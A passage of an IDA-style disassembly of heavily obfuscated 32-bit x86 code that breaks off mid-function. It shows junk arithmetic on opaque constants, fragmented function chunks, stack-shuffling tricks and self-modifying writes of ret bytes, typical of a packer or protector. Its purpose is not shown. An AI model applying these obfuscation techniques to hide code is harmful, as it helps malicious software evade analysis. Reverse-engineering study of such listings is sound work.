; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439587

loc_4497B0:				; CODE XREF: sub_439587:loc_449EFCj
		xchg	edx, ebx
		mov	edx, esi
		jmp	sub_442722
; END OF FUNCTION CHUNK	FOR sub_439587
; ---------------------------------------------------------------------------

loc_4497B9:				; CODE XREF: kgbikm34:loc_4372E0j
		mov	eax, edi
		pop	edi
		sub	eax, 1B7C7C9h
		add	eax, 2187D1DAh
		mov	eax, [eax]
		jmp	loc_43E808
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_88. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_437A59

loc_4497D0:				; CODE XREF: sub_437A59+135EFj
		jmp	loc_446DCE
; END OF FUNCTION CHUNK	FOR sub_437A59
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43D494

loc_4497D5:				; CODE XREF: sub_43D494+8E9Dj
		jmp	loc_4409B6
; END OF FUNCTION CHUNK	FOR sub_43D494
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_443AFD

loc_4497DA:				; CODE XREF: sub_443AFD-6D04j
		jmp	loc_441D99
; END OF FUNCTION CHUNK	FOR sub_443AFD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4479B1

loc_4497DF:				; CODE XREF: sub_4479B1:loc_43B36Fj
		add	edi, ebp
		add	edi, 5C899152h
		mov	[edi], eax
		push	offset sub_44ACF6
		jmp	loc_43C533
; END OF FUNCTION CHUNK	FOR sub_4479B1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43E5AF

loc_4497F3:				; CODE XREF: sub_43E5AF+7j
		jz	loc_43D3E1
		adc	eax, 9BC4A8C0h
		jmp	loc_447140
; END OF FUNCTION CHUNK	FOR sub_43E5AF

; =============== S U B	R O U T	I N E =======================================



sub_449804	proc near		; CODE XREF: sub_43E49F-5A0Dp
					; kgbikm34:0043B535j

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 004451F4 SIZE 00000006 BYTES

		xchg	edx, [esp+0]
		pop	edx
		pop	ebx
		jo	loc_4451F4
		sub	eax, 0F4E5B219h
		mov	edx, [esp-4+arg_0]
		push	eax
		jmp	loc_448723
sub_449804	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44DC12

loc_44981E:				; CODE XREF: sub_44DC12:loc_44A853j
		call	sub_440F62
		mov	ds:off_41E1F8, eax
		lea	eax, loc_439B45
		mov	byte ptr [eax],	0C3h
		jmp	loc_439B45
; END OF FUNCTION CHUNK	FOR sub_44DC12
; ---------------------------------------------------------------------------
		shl	esi, 1Dh
		jmp	sub_447ED1
; ---------------------------------------------------------------------------

loc_44983F:				; CODE XREF: kgbikm34:loc_446990j
		jl	loc_447152
; START	OF FUNCTION CHUNK FOR sub_443F77

loc_449845:				; CODE XREF: sub_443F77+9j
		jmp	loc_43A00A
; END OF FUNCTION CHUNK	FOR sub_443F77
; ---------------------------------------------------------------------------

loc_44984A:				; CODE XREF: kgbikm34:0043E8F8j
		jmp	locret_4411C7
; ---------------------------------------------------------------------------
		popf
		mov	ecx, edx
		jmp	loc_447152
; ---------------------------------------------------------------------------
		mov	ds:dword_41E160, eax
		lea	eax, nullsub_340
		mov	byte ptr [eax],	0C3h
		jmp	nullsub_340
; ---------------------------------------------------------------------------
		pop	edx
		mov	eax, [esp]
		jmp	loc_4474F1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43D642

loc_449874:				; CODE XREF: sub_43D642-3BF5j
		pop	ebx
		xchg	edx, [esp-4+arg_0]
		mov	ebp, edx
		pop	edx
		jmp	nullsub_360
; END OF FUNCTION CHUNK	FOR sub_43D642

; =============== S U B	R O U T	I N E =======================================



sub_449880	proc near		; CODE XREF: kgbikm34:004444B7j
					; sub_449ED2+6p

; FUNCTION CHUNK AT 004392EB SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00447563 SIZE 00000005 BYTES

		xchg	eax, [esp+0]
		pop	eax
		mov	eax, [eax]
		mov	eax, [eax]
		shl	eax, 3
		add	eax, [ebp-8]
		jmp	loc_4392EB
sub_449880	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_449893	proc near		; CODE XREF: sub_44B46Bp

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0043E79A SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0044291E SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004475C3 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00448948 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0044ADB7 SIZE 00000005 BYTES

		xchg	ebx, [esp+4+var_4]
		pop	ebx
		js	loc_43E79A
		push	edx
		mov	edx, ebp
		xchg	edx, [esp+4+var_4]
		mov	ebp, esp
		jmp	loc_44ADB7
sub_449893	endp ; sp-analysis failed

; ---------------------------------------------------------------------------

loc_4498AA:				; CODE XREF: kgbikm34:loc_44AA64j
		xchg	eax, [esp]
		push	esi
		push	0A4D26h
		xchg	ecx, [esp]
		mov	esi, ecx
		pop	ecx
		xor	esi, 7EA69448h
		jmp	loc_44C183
; ---------------------------------------------------------------------------

loc_4498C4:				; CODE XREF: kgbikm34:004398B2j
		rol	ecx, 12h
		and	ecx, 36315B2Ah
		push	7C977D3Ch

loc_4498D2:				; CODE XREF: kgbikm34:loc_4398A9j
		xor	ecx, 0B4A7A132h
		jmp	loc_43C8F2
; ---------------------------------------------------------------------------

loc_4498DD:				; DATA XREF: sub_43CB0F+257Fo
		push	esi
		push	1AA4F54Fh
		pop	esi
		xor	esi, 223EF07Ch
		rol	esi, 16h
		sub	esi, 0F4489DB1h
		jmp	loc_44294F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439A2E

loc_4498F8:				; CODE XREF: sub_439A2E+12660j
		add	ecx, esi
		cmp	ebx, 7BA60BC2h
		jmp	loc_43AE01
; END OF FUNCTION CHUNK	FOR sub_439A2E
; ---------------------------------------------------------------------------

loc_449905:				; CODE XREF: kgbikm34:00445216j
		jno	loc_444405
; START	OF FUNCTION CHUNK FOR sub_449D59

loc_44990B:				; CODE XREF: sub_449D59:loc_43870Dj
		or	edx, 9068FAA4h
		rol	edx, 10h
		cmp	edx, 94D37EE1h
		jmp	loc_4453F9
; END OF FUNCTION CHUNK	FOR sub_449D59
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43E4C0

loc_44991F:				; CODE XREF: sub_43E4C0:loc_44A0BBj
		jl	loc_44A76E

loc_449925:				; CODE XREF: kgbikm34:00441F6Ej
		jmp	sub_44720A
; END OF FUNCTION CHUNK	FOR sub_43E4C0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43CC81

loc_44992A:				; CODE XREF: sub_43CC81+395Bj
		jmp	loc_444903
; END OF FUNCTION CHUNK	FOR sub_43CC81
; ---------------------------------------------------------------------------
		jno	loc_43D7B1
		jmp	loc_44A766
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44DB6E

loc_44993A:				; CODE XREF: sub_44DB6E:loc_44D69Dj
		jnz	loc_43EC8A
		jmp	loc_445117
; END OF FUNCTION CHUNK	FOR sub_44DB6E
; ---------------------------------------------------------------------------

loc_449945:				; CODE XREF: kgbikm34:0044410Dj
		rol	eax, 8
		push	eax
		retn
; ---------------------------------------------------------------------------

loc_44994A:				; CODE XREF: kgbikm34:00441345j
		jmp	loc_4459CF
; ---------------------------------------------------------------------------

loc_44994F:				; CODE XREF: kgbikm34:loc_44BBFDj
		push	edi
		mov	edi, ebp
		xchg	edi, [esp]
		jmp	loc_4401D8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_449F77

loc_44995A:				; CODE XREF: sub_449F77-786Ej
		mov	edx, [esp+0]
		push	ecx
		mov	ecx, eax
		xchg	ecx, [esp+0]
		jmp	loc_447298
; END OF FUNCTION CHUNK	FOR sub_449F77
; ---------------------------------------------------------------------------

loc_449968:				; CODE XREF: kgbikm34:loc_43F2EFj
		jz	loc_4481A1
		call	nullsub_5
; START	OF FUNCTION CHUNK FOR sub_43C638

loc_449973:				; CODE XREF: kgbikm34:loc_43A8C8j
					; sub_43C638:loc_43C588j
		jz	loc_43A506
		push	offset sub_44A4DB
		jmp	loc_43FAE9
; END OF FUNCTION CHUNK	FOR sub_43C638
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44A9D8

loc_449983:				; CODE XREF: sub_44A9D8:loc_44484Cj
		mov	[ebp-0Ch], eax
		xor	eax, eax
; END OF FUNCTION CHUNK	FOR sub_44A9D8
; START	OF FUNCTION CHUNK FOR sub_4395BB

loc_449988:				; CODE XREF: sub_4395BB:loc_43790Aj
		push	esi

loc_449989:				; CODE XREF: sub_448C95:loc_44AA25j
		push	0AE61F5Fh
		pop	esi
		jmp	loc_4463C3
; END OF FUNCTION CHUNK	FOR sub_4395BB
; ---------------------------------------------------------------------------

loc_449994:				; CODE XREF: kgbikm34:00444AC0j
		add	eax, 0E6AD2C50h

loc_44999A:				; CODE XREF: kgbikm34:0043E896j
		xor	edx, 0DEC49762h
		call	sub_4487F2
		push	esi
		mov	esi, eax
		xchg	esi, [esp]
		ror	eax, 1Ch
		mov	ds:dword_4480D0, eax
		jmp	loc_43C43F
; ---------------------------------------------------------------------------

loc_4499B9:				; DATA XREF: sub_449D87-E528o
		pop	ebx
		lea	eax, nullsub_349
		mov	byte ptr [eax],	0C3h
		jmp	nullsub_349
; ---------------------------------------------------------------------------
		xchg	ebp, [esp]
		jmp	loc_440D7E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44DE4C

loc_4499D0:				; CODE XREF: sub_44DE4C:loc_440202j
		push	edx
		jmp	loc_443F8B
; END OF FUNCTION CHUNK	FOR sub_44DE4C
; ---------------------------------------------------------------------------

loc_4499D6:				; CODE XREF: kgbikm34:00438AE7j
		mov	ecx, 0F771C744h

; =============== S U B	R O U T	I N E =======================================



sub_4499DB	proc near		; CODE XREF: sub_4438E2:loc_444253p

arg_0		= dword	ptr  4

		xchg	edx, [esp+0]
		pop	edx
		add	edx, 2BD8B472h
		xchg	edx, [esp-4+arg_0]
		jmp	nullsub_5
sub_4499DB	endp ; sp-analysis failed

; ---------------------------------------------------------------------------

loc_4499ED:				; CODE XREF: kgbikm34:004404CAj
		jnp	loc_440172

; =============== S U B	R O U T	I N E =======================================



sub_4499F3	proc near		; CODE XREF: sub_43B63D+E98Bp

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0043CDC1 SIZE 00000009 BYTES

		xchg	edx, [esp-4+arg_0]
		pop	edx
		push	0ED3F7CD2h
		pop	eax
		rol	eax, 1
		xor	eax, 0D97097h
		add	eax, 259BFEA2h
		jmp	loc_43CDC1
sub_4499F3	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43E085

loc_449A10:				; CODE XREF: sub_43E085:loc_440192j
		call	sub_437548

loc_449A15:				; CODE XREF: sub_448D30:loc_448A1Aj
		sub	ebx, eax

loc_449A17:				; CODE XREF: kgbikm34:0044C5F4j
		jmp	loc_43D0A9
; END OF FUNCTION CHUNK	FOR sub_43E085
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_444002

loc_449A1C:				; CODE XREF: sub_444002+4F36j
		or	ebx, 5782721Bh
		cmp	ebx, 0D2DE858Ah
		jmp	loc_441E9D
; END OF FUNCTION CHUNK	FOR sub_444002
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_449F77

loc_449A2D:				; CODE XREF: sub_449F77-CB13j
		and	edx, 436FE9Eh

loc_449A33:				; CODE XREF: sub_449F77:loc_44B727j
		call	sub_43F4F9
; END OF FUNCTION CHUNK	FOR sub_449F77
; START	OF FUNCTION CHUNK FOR sub_4487F2

loc_449A38:				; CODE XREF: sub_4487F2+9j
		jmp	sub_44173C
; END OF FUNCTION CHUNK	FOR sub_4487F2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44649E

loc_449A3D:				; CODE XREF: sub_44649E:loc_43FB16j
		ror	ebp, 6
		mov	eax, 0F2580D7Ah
		cdq
		jmp	loc_446612
; END OF FUNCTION CHUNK	FOR sub_44649E
; ---------------------------------------------------------------------------
		jmp	ds:off_41E080
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44368F

loc_449A51:				; CODE XREF: sub_44368F-60ADj
		jmp	sub_43D9B3
; END OF FUNCTION CHUNK	FOR sub_44368F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_447E85

loc_449A56:				; CODE XREF: sub_447E85-B3A4j
		jmp	loc_44B05D
; END OF FUNCTION CHUNK	FOR sub_447E85
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_438C9C

loc_449A5B:				; CODE XREF: kgbikm34:00438963j
					; sub_438C9C:loc_446F40j ...
		pop	edx
		push	offset loc_439B69
		jmp	loc_445F7D
; END OF FUNCTION CHUNK	FOR sub_438C9C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_440E0B

loc_449A66:				; CODE XREF: sub_440E0B+BEB4j
		call	sub_43BF6F
		push	esi
		push	0EECF38E5h
		add	esi, edi
		jmp	loc_44770C
; END OF FUNCTION CHUNK	FOR sub_440E0B

; =============== S U B	R O U T	I N E =======================================



sub_449A78	proc near		; CODE XREF: kgbikm34:00442B52j
					; sub_44A80D-20EFp

; FUNCTION CHUNK AT 0043AE2C SIZE 00000005 BYTES

		xchg	ecx, [esp+0]
		pop	ecx
		mov	byte ptr [eax],	0C3h
		jmp	loc_43AE2C
sub_449A78	endp ; sp-analysis failed

; ---------------------------------------------------------------------------

loc_449A84:				; CODE XREF: kgbikm34:0043FFBBj
		mov	eax, [esp]
		push	edx
		call	sub_43EB8F
		mov	eax, 8D800AAh
		push	edi
		jmp	loc_44BB67
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_440F62

loc_449A98:				; CODE XREF: sub_440F62+4491j
		jz	loc_44A37D
		jmp	loc_444094
; END OF FUNCTION CHUNK	FOR sub_440F62
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_374. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------

loc_449AA4:				; CODE XREF: kgbikm34:00444C63j
		jmp	locret_44199F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4474D5

loc_449AA9:				; CODE XREF: sub_4474D5-79FFj
		jmp	loc_442DCD
; END OF FUNCTION CHUNK	FOR sub_4474D5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43FD63

loc_449AAE:				; CODE XREF: sub_43FD63+15j
		jz	loc_43F744
		jmp	loc_444417
; END OF FUNCTION CHUNK	FOR sub_43FD63
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_446F45

loc_449AB9:				; CODE XREF: sub_446F45:loc_44355Ej
		pop	eax
		mov	eax, [esp-4+arg_0]
		push	ecx
		mov	ecx, edx
		call	sub_44769E

loc_449AC5:				; CODE XREF: kgbikm34:0044DDB0j
		jmp	nullsub_290
; END OF FUNCTION CHUNK	FOR sub_446F45
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_443398

loc_449ACA:				; CODE XREF: sub_443398+9j
		jmp	nullsub_361
; END OF FUNCTION CHUNK	FOR sub_443398
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4430E4

loc_449ACF:				; CODE XREF: sub_4430E4+Dj
		jmp	nullsub_355
; END OF FUNCTION CHUNK	FOR sub_4430E4
; ---------------------------------------------------------------------------

loc_449AD4:				; CODE XREF: kgbikm34:0043B6E7j
		jmp	locret_44BA22
; ---------------------------------------------------------------------------

loc_449AD9:				; CODE XREF: kgbikm34:loc_44B360j
		or	edx, 9244F1F8h
		xor	edx, 2E9FB313h
		add	eax, edx
		pop	edx
		mov	edx, [esp]
		push	esi
		mov	esi, eax
		xchg	esi, [esp]
		jmp	loc_446DA3
; ---------------------------------------------------------------------------

loc_449AF6:				; CODE XREF: kgbikm34:00441296j
		pop	edi
		or	ebx, 9DCD421Dh
		xor	ebx, 1668D645h
		popf
		xor	eax, ebx
		pop	ebx
		sub	eax, 5D5B5FEEh
		jmp	loc_444880
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43EA97

loc_449B12:				; CODE XREF: sub_43EA97:loc_43EAA8j
		jl	loc_448932

loc_449B18:				; CODE XREF: sub_439587+10E1Cj
		jmp	nullsub_129
; END OF FUNCTION CHUNK	FOR sub_43EA97
; ---------------------------------------------------------------------------

loc_449B1D:				; CODE XREF: kgbikm34:0044955Ej
		jmp	loc_449F2A
; ---------------------------------------------------------------------------
		or	edx, edi
		test	esi, 0FF6B2CA3h
		jmp	loc_448926
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_270. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_444864

loc_449B30:				; CODE XREF: sub_444864+979Cj
		jmp	loc_44657B
; END OF FUNCTION CHUNK	FOR sub_444864
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43F524

loc_449B35:				; CODE XREF: sub_43F524+1BF1j
		jmp	nullsub_130
; END OF FUNCTION CHUNK	FOR sub_43F524
; ---------------------------------------------------------------------------

loc_449B3A:				; CODE XREF: kgbikm34:00440D26j
		jmp	loc_43CAEC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439274

loc_449B3F:				; CODE XREF: sub_439274:loc_44A6EAj
		mov	eax, [ebp-4]
		push	ebx
		push	4E0AFEE6h
		pop	ebx
		jmp	loc_43DA49
; END OF FUNCTION CHUNK	FOR sub_439274
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_440443

loc_449B4E:				; CODE XREF: sub_440443-767Cj
		jnb	loc_442567

loc_449B54:				; CODE XREF: sub_440443:loc_44B96Bj
		call	nullsub_5
; END OF FUNCTION CHUNK	FOR sub_440443
; START	OF FUNCTION CHUNK FOR sub_44739D

loc_449B59:				; CODE XREF: kgbikm34:0043A98Fj
					; sub_44739D:loc_44AF2Ej
		jz	loc_448669
		xor	eax, eax

loc_449B61:				; CODE XREF: sub_4407E7:loc_43B60Fj
		push	edx
		push	0EDABCA47h

loc_449B67:				; CODE XREF: kgbikm34:loc_44792Cj
		pop	edx
		jmp	loc_44DDE5
; END OF FUNCTION CHUNK	FOR sub_44739D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439587

loc_449B6D:				; CODE XREF: sub_439587+1119Fj
		call	sub_43F3F8
		mov	eax, 934299CDh
		push	edi
		push	76909F75h
		pop	edi
		jmp	loc_438BB9
; END OF FUNCTION CHUNK	FOR sub_439587
; ---------------------------------------------------------------------------
		ror	edx, 15h
		jmp	sub_44B8A2
; ---------------------------------------------------------------------------

loc_449B8B:				; CODE XREF: kgbikm34:0043ACCEj
		jl	loc_43FF13
; START	OF FUNCTION CHUNK FOR sub_439587

loc_449B91:				; CODE XREF: sub_439587:loc_43ACBBj
		sub	edi, 24D7D5B7h
		rol	edi, 19h
		sub	edi, 2D690CA3h
		xor	edi, 0E69BF473h
		add	edi, ebp
		jmp	loc_43B2F2
; END OF FUNCTION CHUNK	FOR sub_439587
; ---------------------------------------------------------------------------

loc_449BAD:				; DATA XREF: sub_43A9AA+18o
		add	ecx, 0F01F44F2h
		xchg	ecx, [esp]
		jmp	sub_4400C7
; ---------------------------------------------------------------------------
		mov	ebp, esi
		jmp	loc_43FD5D
; ---------------------------------------------------------------------------

loc_449BC2:				; CODE XREF: kgbikm34:loc_4473B2j
		pop	esi
; START	OF FUNCTION CHUNK FOR sub_44D21F

loc_449BC3:				; CODE XREF: sub_44D21F-D66Dj
		sub	esi, 37713F39h
		or	esi, 46E9C50Dh
		push	offset sub_43F15F
		jmp	loc_449311
; END OF FUNCTION CHUNK	FOR sub_44D21F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_444267

loc_449BD9:				; CODE XREF: sub_444267-CAD5j
		sub	eax, ds:4000F3h
		or	eax, 0DC797FFFh
		add	eax, 6D797D16h
		push	ecx
		pushf
		push	7F1BE5F6h
		pop	ecx
		add	ecx, 0A180F319h
		jmp	loc_4485A7
; END OF FUNCTION CHUNK	FOR sub_444267
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43D045

loc_449BFE:				; CODE XREF: sub_43D045:loc_442D0Dj
					; sub_43D045+F728j
		push	57A172DDh
		pop	eax
		sub	eax, 0D8B0AAAh
		add	eax, 36D9C4D4h
		call	sub_43BF6F
		rol	eax, 1Ah
		jmp	loc_44002E
; END OF FUNCTION CHUNK	FOR sub_43D045
; ---------------------------------------------------------------------------
		xchg	eax, [ebp+0]
		jmp	sub_4445C7
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_194. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------

loc_449C26:				; CODE XREF: kgbikm34:0044598Ej
		add	esi, 3F411701h

loc_449C2C:				; CODE XREF: kgbikm34:loc_440CDEj
		call	sub_43DC06

locret_449C31:				; CODE XREF: kgbikm34:loc_43E5C9j
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4394EB

loc_449C32:				; CODE XREF: sub_4394EB+10D75j
		jmp	loc_44AAA8
; END OF FUNCTION CHUNK	FOR sub_4394EB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_442340

loc_449C37:				; CODE XREF: sub_442340-806Dj
		jmp	loc_44BF9D
; END OF FUNCTION CHUNK	FOR sub_442340
; ---------------------------------------------------------------------------

loc_449C3C:				; CODE XREF: kgbikm34:0043E9FBj
		jle	loc_44AFE9

; =============== S U B	R O U T	I N E =======================================



sub_449C42	proc near		; CODE XREF: kgbikm34:0044DC0Dp

; FUNCTION CHUNK AT 00448618 SIZE 0000000E BYTES

		xchg	edx, [esp+0]
		pop	edx
		add	edx, 1042EAC1h
		mov	[edx], eax
		pop	edx
		jmp	loc_448618
sub_449C42	endp ; sp-analysis failed

; ---------------------------------------------------------------------------

loc_449C54:				; CODE XREF: kgbikm34:0044918Fj
		ror	esi, 16h
		jmp	loc_43F393
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_131. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43717F

loc_449C5D:				; CODE XREF: sub_43717F+EF66j
		jmp	loc_44AABB
; END OF FUNCTION CHUNK	FOR sub_43717F
; ---------------------------------------------------------------------------

loc_449C62:				; CODE XREF: kgbikm34:0043ABD9j
		jmp	loc_444841
; ---------------------------------------------------------------------------

loc_449C67:				; CODE XREF: kgbikm34:0043DF89j
		call	sub_4431B6
; START	OF FUNCTION CHUNK FOR sub_439587

loc_449C6C:				; CODE XREF: sub_439587:loc_438AC9j
		jz	loc_43F4BA
		jmp	loc_440365
; END OF FUNCTION CHUNK	FOR sub_439587
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C9D6

loc_449C77:				; CODE XREF: sub_43C9D6:loc_44E0E7j
					; kgbikm34:0044E0FBj
		xor	edx, 0A9413AD3h
		rol	edx, 0Fh
		or	edx, 7C9B628Dh
		push	offset loc_44CE5D
		jmp	nullsub_286
; END OF FUNCTION CHUNK	FOR sub_43C9D6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C167

loc_449C90:				; CODE XREF: sub_43C167+8C27j
		jle	loc_44AA4D
		jnp	loc_43CFD3
		and	edi, 70BB61F0h

loc_449CA2:				; CODE XREF: sub_43C167:loc_449509j
		push	edx
		push	0D17CE1B1h

loc_449CA8:				; CODE XREF: kgbikm34:loc_44883Cj
		pop	edx
		or	edx, 0FC445DDEh
		jmp	loc_44B0D9
; END OF FUNCTION CHUNK	FOR sub_43C167

; =============== S U B	R O U T	I N E =======================================



sub_449CB4	proc near		; DATA XREF: sub_44B960+1o

; FUNCTION CHUNK AT 0043C460 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00441175 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004489E2 SIZE 0000000A BYTES

		push	1A5A6904h
		pop	ebx
		rol	ebx, 0Ch
		add	ebx, 59B19FD7h
		mov	[ebx], eax
		jmp	loc_441175
sub_449CB4	endp

; ---------------------------------------------------------------------------
		or	eax, esi
		jmp	sub_4403A3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_449D59

loc_449CD1:				; CODE XREF: sub_449D59:loc_43AD4Dj
		adc	ecx, 58A3C975h
		not	ebp
		xchg	esi, [edi]
		test	ebx, 54D9D3FCh
		jmp	loc_44A1E3
; END OF FUNCTION CHUNK	FOR sub_449D59
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_442B15

loc_449CE6:				; CODE XREF: sub_442B15:loc_439501j
		call	sub_437954
		mov	al, 1
		xchg	eax, [esp+0]
		mov	edx, eax
		pop	eax
		call	edx
		xor	eax, eax
		mov	[ebp-4], eax
		jmp	loc_4478B4
; END OF FUNCTION CHUNK	FOR sub_442B15
; ---------------------------------------------------------------------------

loc_449CFF:				; DATA XREF: sub_444BA3+Eo
		push	ecx
		push	490400ADh
		pop	ecx
		add	ecx, 0C435BC68h
		or	ecx, 834BA84Ch
		call	sub_44DBAC
; START	OF FUNCTION CHUNK FOR sub_4471D6

loc_449D17:				; CODE XREF: sub_4471D6+4D59j
		test	byte ptr [ebp-8], 8
		jz	loc_447175
		push	ebp
		mov	eax, [ebp-20h]
		jmp	loc_437452
; END OF FUNCTION CHUNK	FOR sub_4471D6
; ---------------------------------------------------------------------------
		mov	esi, [eax]
		jmp	sub_44CF08
; ---------------------------------------------------------------------------

locret_449D31:				; CODE XREF: kgbikm34:loc_44D137j
		retn
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_120. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_441819

loc_449D33:				; CODE XREF: sub_441819:loc_445FDBj
		sub	esi, 49CA1818h
		cmp	esi, 5869BA6Dh
		jmp	loc_44D7C6
; END OF FUNCTION CHUNK	FOR sub_441819
; ---------------------------------------------------------------------------

locret_449D44:				; CODE XREF: kgbikm34:loc_448242j
		retn
; ---------------------------------------------------------------------------

loc_449D45:				; CODE XREF: kgbikm34:0043E3FCj
		jmp	loc_44224B
; ---------------------------------------------------------------------------

loc_449D4A:				; DATA XREF: sub_43EFE3:loc_445412o
		pop	ecx
		lea	eax, sub_43EFE3
		mov	byte ptr [eax],	0C3h
		jmp	sub_43EFE3

; =============== S U B	R O U T	I N E =======================================



sub_449D59	proc near		; CODE XREF: sub_4026EE+17Ap
					; sub_404954+36Cp ...

; FUNCTION CHUNK AT 00438681 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 0043870D SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00439C9E SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043A262 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0043A5B1 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0043AC24 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043AD4D SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043B8F5 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0043CE6A SIZE 0000001F BYTES
; FUNCTION CHUNK AT 0043E54E SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0043E573 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0043F6CB SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044031B SIZE 00000017 BYTES
; FUNCTION CHUNK AT 004407BA SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00441BE8 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 004434BD SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00443B25 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 00443BB9 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 004448ED SIZE 0000000B BYTES
; FUNCTION CHUNK AT 004453F9 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044613D SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00446738 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 004472F1 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00447387 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 004482C4 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00448B5A SIZE 0000001F BYTES
; FUNCTION CHUNK AT 0044990B SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00449CD1 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0044A1E3 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0044ABFF SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0044B755 SIZE 00000005 BYTES

		jz	loc_43CE6A
		mov	eax, ds:dword_445E90
		or	eax, eax
		jnz	loc_43CB37
		jmp	loc_4407BA
sub_449D59	endp ; sp-analysis failed

; ---------------------------------------------------------------------------

loc_449D72:				; CODE XREF: kgbikm34:0043A888j
		jge	loc_444D80

; =============== S U B	R O U T	I N E =======================================



sub_449D78	proc near		; CODE XREF: sub_439BDE+62D0p

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 00438543 SIZE 00000005 BYTES
